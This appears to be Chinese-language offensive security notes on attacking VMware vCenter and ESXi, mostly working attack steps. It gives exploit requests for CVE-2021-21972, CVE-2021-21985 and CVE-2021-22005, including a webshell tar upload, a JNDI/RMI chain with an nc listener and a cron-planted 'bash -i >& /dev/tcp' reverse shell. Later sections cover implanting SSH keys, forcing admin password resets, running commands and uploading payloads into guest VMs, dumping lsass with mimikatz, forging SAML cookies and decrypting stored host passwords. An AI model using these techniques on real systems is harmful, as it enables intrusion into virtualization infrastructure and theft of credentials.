Vmware产品系列
Ø Workstation Pro:面向Windows虚拟化
Ø Fusion for Mac:面向Mac虚拟化
Ø ThinApp:应用虚拟化解决方案
Ø Vmware Enterprise PKS:面向多云企业和服务提供商生产级Kubernetes
Ø vSAN:vSphere原生存储,存储虚拟化
Ø vRealize Operations:面向私有云、混合云和多云环境自动驾驶式IT运维维管理平台
Ø Vmware vSphere:服务器虚拟化平台
n Vmware把产品统称为vSphere
vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。
vSphere有两个核心组件:
可以从官网下,但是太麻烦:
Copy #下载站
http://vmv.re/gets
vmvre
#国内下载
http://42.81.162.1:443/s/Awsw
vCenter Server Appliance(VCSA),用于安装在Linux
Vmware Integrated Management(VIM),用于安装在Windows
ESXi相关配置
密码策略
大小写字母、数字和特殊字符,密码长度大于7小于40
Copy password requisite /lib/security/ $ISA /pam_passwdqc.so retry= 3
min = disabled,disabled,disabled,7,7
默认情况下,10次尝试,锁定15分钟后自动解锁。
默认情况下,ESXi Shell 和 SSH 服务不会运行,只有 root 用户才能登录到直接控制台用户界面
ESXi默认访问不了SSH
管理 --> 服务 --> SSH服务开启
在连接ESXi中,可以看到这台是否已经连接了vCenter
相关命令:
Copy esxcfg-vmknic -l #查看宿主机IP地址
vim-cmd vmsvc/getallvms #列出所有虚拟机
esxcli network firewall get #防火墙状态
esxcli network firewall ruleset list #列出规则信息
esxcli network firewall set --enabled #启用、禁用
https://blog.51cto.com/u_4674157/
重置密码
场景:拿到WebShell之后,想要登录vCenter,而且密码解不出来,可以强制重置密码。
Copy #Linux 强制重置SSO administrator密码
/usr/lib/vmware-vmdir/bin/vdcadmintool
#Windows 强制重置密码
C:\Program Files \V mware \v Center Server \v mdird \v dcadmintool.exe
使用HTTPS PUT SSH密钥
默认情况下,ESXiShell 和 SSH 服务不会启动,只有 root 用户才能登录到直接控制台用户界面,开启SSH后只允许密钥访问,使用 HTTPS PUT 上传 SSH 密钥。
密钥类型位置:
root 用户的授权密钥文件
Copy https://hostname_or_IP_address/host/ssh_root_authorized_keys
您必须对主机具有完全管理员特权才可上载此文件。
Copy DSA 密钥 https://hostname_or_IP_address/host/ssh_host_dsa_key
DSA 公用密钥 https://hostname_or_IP_address/host/ssh_host_dsa_key_pub
RSA 密钥 https://hostname_or_IP_address/host/ssh_host_rsa_key
RSA 公用密钥 https://hostname_or_IP_address/host/ssh_host_rsa_key_pub
esxi 401 认证,是服务器密码,不是前台密码。
Copy https://192.168.238.137/host/
#生成密钥
ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
PUT /host/ssh_root_authorized_keys HTTP/1.1
Host: 192.168.238.138
Authorization: Basic cm9vdDoxMjNxd2UhQCMuLi4=
Content-Length: 407
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ4gGhuM9GFeh7Kivi0BmxjLy4Brq9V3AEzPlXoXnHWumFC/FJWmZrHVGgDzBL26o/qsPyHnMffJve6egqyaV05+ULiPOzpjoLmG3+7uhhEKfY7KZ/uDMkmeufhvwTBfIIndARqzuAbsx6ekJb794fBhpOG7hPNcziqs5jRRQf9lLUQgltBfReFf6Tj9j2Ff471HlGaVdwKyGp4T3oKpH4K7kgdarMoh1KT2bC9ijHD1TpdQLfNjKJ+uXccaWWG7eEQCYmwQtbL80PVVTq5HTkZaqw+BhSRF8ur0NWX9WC3G4r4vYEc46meh1pwowHn69ZWRuvql1I4IfjytL4totH root@localhost.localdomain
漏洞利用
Ø 查看Vcenter版本信息:/sdk/vimServiceVersions.xml
CVE-2021-21972
影响范围
Ø VMware vCenter Server 7.0系列 < 7.0.U1c
Ø VMware vCenter Server 6.7系列 < 6.7.U3l
Ø VMware vCenter Server 6.5系列 < 6.5 U3n
Ø VMware ESXi 7.0系列 < ESXi70U1c-17325551
Ø VMware ESXi 6.7系列 < ESXi670-202102401-SG
Ø VMware ESXi 6.5系列 < ESXi650-202102101-SG
Windowst利用
Windows vCenter程序路径:
Copy ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport
#构造tar包
https://github.com/ptoomey3/evilarc/blob/master/evilarc.py
python evilarc.py -d 2 -p
'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar winshe.jsp
Copy POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: 192.168.238.132
Cookie: VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL ;
VSPHERE-CLIENT-SESSION-INDEX = _f97bb91caea8a2af952cd91ec5d47eb8 ; VSPHERE-UI-JSESSIONID = 0C5DAAED678BDADE5DE0A9599359A141 ; VSPHERE-UI-XSRF-TOKEN = 059001d4-15b3-4ab5-b83f-604c37fb2471 ; style = light
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data ; boundary = ----WebKitFormBoundary1YoXljo9
Content-Length: 10389
------WebKitFormBoundary1YoXljo9
Content-Disposition: form-data ; name = "uploadFile" ; filename = "winexpl.tar"
Paste from file winexpl.tar
------WebKitFormBoundary1YoXljo9--
Linux利用
【如果不成功,尝试本地创建vsphere-ui之后再生成密钥】
Copy python evilarc.py -d 2 -p 'home/vsphere-ui/.ssh' -o unix -f unixshe.tar authorized_keys
ssh vsphere-ui@Your IP
#需要重启
/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/
Linux Shell的路径:https://photom-matchine/ui/resources/winshe.jsp
如果不行使用(脚本有问题,要重新写 ):
https://github.com/NS-Sp4ce/CVE-2021-21972/blob/7048b1d0a71a862284c2d54f78aba913ccef5776/CVE-2021-21972.py
https://0x20h.com/p/7cb6
CVE-2021-21985
Ø vCenter Server 6.5
Ø vCenter Server 6.7
Ø vCenter Server 7.0
Ø Cloud Foundation (vCenter Server) 3.x
Ø Cloud Foundation (vCenter Server) 4.x
只有Linux
Copy java -jar JNDIInjection-Bypass.jar 1099 192.168.238.1 8841
nc -lvp 8841
python3 CVE-2021-21985_exp.py https://192.168.238.149
rmi://192.168.238.146:1099/Exploit
https://github.com/r0ckysec/CVE-2021-21985
CVE-2021-22005
影响版本:
7.0,6.7,6.5,4.x,3.x
https://github.com/r0ckysec/CVE-2021-22005 (EXP)
Copy POST /analytics/telemetry/ph/api/hyper/send?_c=e & _i = /ce21 HTTP/1.1
Host: 192.168.23.119
Content-Length: 60
{ "aaa" : "bbb" }
Copy POST /analytics/telemetry/ph/api/hyper/send?_c=e & _i = /../../../../../../../../../../../../etc/cron.d/cs21 HTTP/1.1
Host: 192.168.23.119
Content-Length: 60
* /1 * * * * root bash -i >& /dev/tcp/192.168.23.77/8091 0>&1
vCenter < 6.0 S2-045
Copy #老版本Struts S2-045
https://vmware/statsreport/vmHome.do
后渗透利用
以下一切操作的前提都需要权限
拿到密码后可利用:
Ø 读取虚拟机的配置
Ø 查看虚拟机文件
Ø 删除虚拟机文件
Ø 向虚拟机上传文件
Ø 从虚拟机下载文件
Ø 在虚拟机中执行命令
在旧的REST API(低于vSphere7.0U2)不支持以下操作:
Ø 查看虚拟机文件
Ø 删除虚拟机文件
Ø 向虚拟机上传文件
Ø 从虚拟机下载文件
Ø 在虚拟机中执行命令
SharpSphere
Copy #无法编译时:
工具 -- > NuGet包管理器 -- > 程序包源 -- > 加更新源:https://api.nuget.org/v3/index.json
#获取信息
SharpSphere.exe list --url https://192.168.238.138/sdk/ --username root --password 123qwe!@#
[x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates
[x] Creating vSphere API interface
[x] Connected to VMware ESXi 6.7.0 build-15160138
[x] Authenticating with provided username and password
[x] Successfully authenticated
Name: Centos7 | Power: poweredOn | OS: CentOS 7 (64-bit) | Tools: guestToolsUnmanaged | IP: 192.168.238.139
#Execute
. \ SharpSphere.exe execute --url https://192.168.238.138/sdk --username root --password 123qwe!@# --ip 192.168.238.141 --guestusername administrator --guestpassword 123qwe!@# --command whoami --output
#Upload FIle
. \ SharpSphere.exe upload --url https://192.168.238.138/sdk --username root --password 123qwe!@# --ip 192.168.238.141 --guestusername administrator --guestpassword 123qwe!@# --source D: \c alc.exe --destination C: \U sers \P ublic \p ayload.exe
#DOwnload FIle
Z:\ > SharpSphere.exe download --url https://URL/sdk --username
administrator@vsphere.local --password < PASSWOR D > --ip < I P > --guestusername James --guestpassword < PASSWOR D > --source C: \U sers \P ublic \p ayload.exe --destination Z: \r esult.exe
Dump内存获取密码
Copy #Dump,目前ESXi有问题,无法下载文件,但在vCenter可以成功
. \ SharpSphere.exe dump --url https://192.168.238.138/sdk/ --username root --password
123qwe!@# --targetvm "Win2008" --destination "C:\Users\Public\" --snapshot
#下载快照后缀为vmsn、vmem
.\vmss2core-sb-8456865.exe -W .\Win2008-Snapshot5.vmsn .\Win2008-Snapshot5.vmem
#Microsoft Windows 8/8.1, Windows Server 2012, Windows Server 2016 or Windows
Server 2019 run this command:
vmss2core.exe -W8 virtual_machine_name.vmsn virtual_machine_name.vmem
#使用Windbg PreView加载内存
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-install-preview
#内部加载mimilib
kd> .load C:\Users\A\Desktop\vmnx\mimikatz_trunk\x64\mimilib.dll
#查看lsass进程
kd> !process 0 0 lsass.exe
切换到该进程中
kd> .process /r /p fffffa80028f2400
#抓取内存密码
kd> !mimikatz
扩展:qcow2后缀
Copy #只读方式打开虚拟磁盘
guestfish --ro -a /var/lib/libvirt/images/centos7.qcow2
>< fs > run #扫描
>< fs > list-filesystems #列出文件系统
>< fs > mount /dev/centos/root / #挂载目录
>< fs > cat /etc/shadow
#实现自动探查后自动挂载
guestfish --ro -a /var/lib/libvirt/images/centos7.qcow2 -i
PySharpSphere
https://github.com/RicterZ/PySHarpSphere
此工具是通过pyVmomi来实现
Copy #list
pysharpsphere.exe -H 192.168.238.132 -u administrator@vsphere.local -p #jLuNK5[z(,0p6K9Xj7C list
#执行命令
pysharpsphere.exe -H 192.168.100.49 -u administrator@vsphere.local -p password execute -t vm-1020 --guest-user administrator --guest-pass guestpassword -c whoami
#上传文件
pysharpsphere.exe -H 192.168.100.49 -u administrator@vsphere.local -p password upload -t vm-1020 --guest-user administrator --guest-pass guestpassword --source /tmp/test.exe --dest C: \\ c2.exe
#获取镜像快照
pysharpsphere.exe -H 192.168.100.49 -u administrator@vsphere.local -p password dump -t vm-1020
#通过NTLM执行命令
pysharpsphere.exe -H 192.168.100.49 -u administrator@vsphere.local -p password execute -t vm-1015 --guest-user administrator --guest-ntlm ea41383fa39c20f186cbcdc0ac234417 -c whoami
实际上只要登录到vCenter界面都可以操作:
创建快照 --> 数据存储 --> 下载快照
PowerCLI
官方文档
:https://developer.vmware.com/docs/powercli/latest/vmware.vimautomation.core/commands/get-vm/#Default
Copy #离线安装
下载PowerCLI的Zip文件,地址如下:
https://code.vmware.com/doc/preview?id =13693
#获取路径,将PowerCLI的Zip文件解压至该目录
$env:PSModulePath
#判断是否有安装成功
Get-Module -Name VMware.PowerCLI -ListAvailable
#远程执行策略允许
Set-ExecutionPolicy RemoteSigned
#忽略证书验证
Set-PowerCLIConfiguration -Scope AllUsers -ParticipateInCeip $false -InvalidCertificateAction Ignore
#连接服务器
Connect-VIServer -Server 192.168.238.149 -Protocol https -User Administrator@GIAO.LOCAL -Password Qazxx!@#... -Force
#断开连接
Disconnect-VIServer -Server 192.168.238.149 -Force -Confirm:$false
#上传文件
Copy-VMGuestFile -Source c: \t ext.txt -Destination c: \t emp \ -VM VM -LocalToGuest -GuestUser user -GuestPassword pass2
#下载文件
Copy-VMGuestFile -Source c: \t ext.txt -Destination c: \t emp \ -VM VM -GuestToLocal -GuestUser user -GuestPassword pass2
#先通过Get-VM 获取主机名称,之后指定执行命令:
Invoke-VMScript -VM "Centos7 (1)" -ScriptText "cat /etc/passwd" -GuestUser root -GuestPassword "123qwe!@#"
Windows执行虚拟机命令的前提条件是装了Vmware Tools才能执行命令。
Copy Invoke-VMScript -VM "Win2012" -ScriptText "whoami" -GuestUser administrator -GuestPassword "123qwe!@#"
走的流量是加密
vCenter SAML Certificates
拿到WebShell后,不想重置管理员密码的情况下。
https://github.com/horizon3ai/vcenter_saml_login
读取data.mdb证书信息,通过证书请求获取管理员cookie
Copy Linux:
/storage/db/vmware-vmdir/data.mdb
Windows:
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200
[ * ] Successfully extracted the IdP certificate
[ * ] Successfully extracted trusted certificate 1
[ * ] Successfully extracted trusted certificate 2
[ * ] Obtaining hostname from vCenter SSL certificate
[ * ] Found hostname vcsa.olympus for 10.0.100.200
[ * ] Initiating SAML request with 10.0.100.200
[ * ] Generating SAML assertion
[ * ] Signing the SAML assertion
[ * ] Attempting to log into vCenter with the signed SAML request
[+] Successfuly obtained Administrator cookie for 10.0.100.200 !
[+] Cookie: VSPHERE-UI-JSESSIONID=06D1630719B4DE33A4CE653458911640
访问https://<VCSA>/ui的VCSA实例,在/ui路径下添加cookie
解密vpxuser
https://github.com/shmilylty/vhost_password_decrypt
Copy #获取vc用户的密码 cat /etc/vmware-vpx/vcdb.properties
#把加密后的密码单独拿出来, psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
#拿解密key cat /etc/vmware-vpx/ssl/symkey.dat
Windows:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
Linux:/etc/vmware-vpx/ssl/symkey.dat
#破解 python decrypt.py symkey.dat password.enc pass.txt